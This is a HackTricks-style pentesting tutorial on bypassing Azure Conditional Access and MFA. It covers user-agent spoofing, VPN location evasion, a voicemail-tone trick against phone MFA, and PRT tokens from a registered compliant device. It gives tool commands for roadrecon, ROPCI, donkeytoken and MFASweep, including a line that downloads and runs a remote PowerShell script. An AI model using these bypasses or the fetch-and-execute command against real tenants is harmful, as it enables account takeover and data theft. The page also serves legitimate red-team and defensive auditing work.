Skip to content

Latest commit

 

History

History
213 lines (137 loc) · 12.7 KB

az-conditional-access-policies-mfa-bypass.md

File metadata and controls

213 lines (137 loc) · 12.7 KB
Raw

Az - Conditional Access Policies & MFA Bypass

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

Azure Conditional Access policies are rules set up in Microsoft Azure to enforce access controls to Azure services and applications based on certain conditions. These policies help organizations secure their resources by applying the right access controls under the right circumstances.
Conditional access policies basically defines Who can access What from Where and How.

Here are a couple of examples:

  1. Sign-In Risk Policy: This policy could be set to require multi-factor authentication (MFA) when a sign-in risk is detected. For example, if a user's login behavior is unusual compared to their regular pattern, such as logging in from a different country, the system can prompt for additional authentication.
  2. Device Compliance Policy: This policy can restrict access to Azure services only to devices that are compliant with the organization's security standards. For instance, access could be allowed only from devices that have up-to-date antivirus software or are running a certain operating system version.

Conditional Acces Policies Bypasses

It's possible that a conditional access policy is checking some information that can be easily tampered allowing a bypass of the policy. And if for example the policy was configuring MFA, the attacker will be able to bypass it.

When configuring a conditional access policy it's needed to indicate the users affected and target resources (like all cloud apps).

It's also needed to configure the conditions that will trigger the policy:

  • Network: Ip, IP ranges and geographical locations
    • Can be bypassed using a VPN or Proxy to connect to a country or managing to login from an allowed IP address
  • Microsoft risks: User risk, Sign-in risk, Insider risk
  • Device platforms: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
    • If “Any device” is not selected but all the other options are selected it’s possible to bypass it using a random user-agent not related to those platforms
  • Client apps: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
    • To bypass login with a not selected option
  • Filter for devices: It’s possible to generate a rule related the used device
  • Authentication flows: Options are “Device code flow” and “Authentication transfer”
    • This won’t affect an attacker unless he is trying to abuse any of those protocols in a phishing attempt to access the victims account

The possible results are: Block or Grant access with potential conditions like require MFA, device to be compliant…

Device Platforms - Device Condition

It's possible to set a condition based on the device platform (Android, iOS, Windows, macOS...), however, this is based on the user-agent so it's easy to bypass. Even making all the options enforce MFA, if you use a user-agent that it isn't recognized, you will be able to bypass the MFA or block:

Just making the browser send an unknown user-agent (like Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) is enough to not trigger this condition.
You can change the user agent manually in the developer tools:

Or use a browser extension like this one.

Locations: Countries, IP ranges - Device Condition

If this is set in the conditional policy, an attacker could just use a VPN in the allowed country or try to find a way to access from an allowed IP address to bypass these conditions.

Cloud Apps

It's possible to configure conditional access policies to block or force for example MFA when a user tries to access specific app:

To try to bypass this protection you should see if you can only into any application.
The tool AzureAppsSweep has tens of application IDs hardcoded and will try to login into them and let you know and even give you the token if successful.

In order to test specific application IDs in specific resources you could also use a tool such as:

{% code overflow="wrap" %}

roadrecon auth -u [email protected] -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

{% endcode %}

Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool Invoke-MFASweep perform some checks to try to bypass this protections also.

The tool donkeytoken could also be used to similar purposes although it looks unmantained.

The tool ROPCI can also be used to test this protections and see if it's possible to bypass MFAs or blocks, but this tool works from a whitebox perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them.

Other Az MFA Bypasses

Ring tone

One Azure MFA option is to receive a call in the configured phone number where it will be asked the user to send the char #.

{% hint style="danger" %} As chars are just tones, an attacker could compromise the voicemail message of the phone number, configure as the message the tone of # and then, when requesting the MFA make sure that the victims phone is busy (calling it) so the Azure call gets redirected to the voice mail. {% endhint %}

Compliant Devices

Policies often asks for a compliant device or MFA, so an attacker could register a compliant device, get a PRT token and bypass this way the MFA.

Start by registering a compliant device in Intune, then get the PRT with:

$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

Find more information about this kind of attack in the following page:

{% content-ref url="../../az-lateral-movement-cloud-on-prem/pass-the-prt.md" %} pass-the-prt.md {% endcontent-ref %}

Tooling

AzureAppsSweep

This script get some user credentials and check if it can login in some applications.

This is useful to see if you aren't required MFA to login in some applications that you might later abuse to escalate pvivileges.

roadrecon

Get all the policies

roadrecon plugin policies

Invoke-MFASweep

MFASweep is a PowerShell script that attempts to log in to various Microsoft services using a provided set of credentials and will attempt to identify if MFA is enabled. Depending on how conditional access policies and other multi-factor authentication settings are configured some protocols may end up being left single factor. It also has an additional check for ADFS configurations and can attempt to log in to the on-prem ADFS server if detected.

Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

This tool has helped identify MFA bypasses and then abuse APIs in multiple production AAD tenants, where AAD customers believed they had MFA enforced, but ROPC based authentication succeeded.

{% hint style="success" %} You need to have permissions to list all the applications to be able to generate the list of the apps to brute-force. {% endhint %}

./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token is a set of functions which aim to help security consultants who need to validate Conditional Access Policies, tests for 2FA-enabled Microsoft portals, etc..

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

Test each portal if it's possible to login without MFA:

$username = "[email protected]"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

Because the Azure portal is not constrained it's possible to gather a token from the portal endpoint to access any service detected by the previous execution. In this case Sharepoint was identified, and a token to access it is requested:

{% code overflow="wrap" %}

$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

{% endcode %}

Supposing the token has the permission Sites.Read.All (from Sharepoint), even if you cannot access Sharepoint from the web because of MFA, it's possible to use the token to access the files with the generated token:

$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}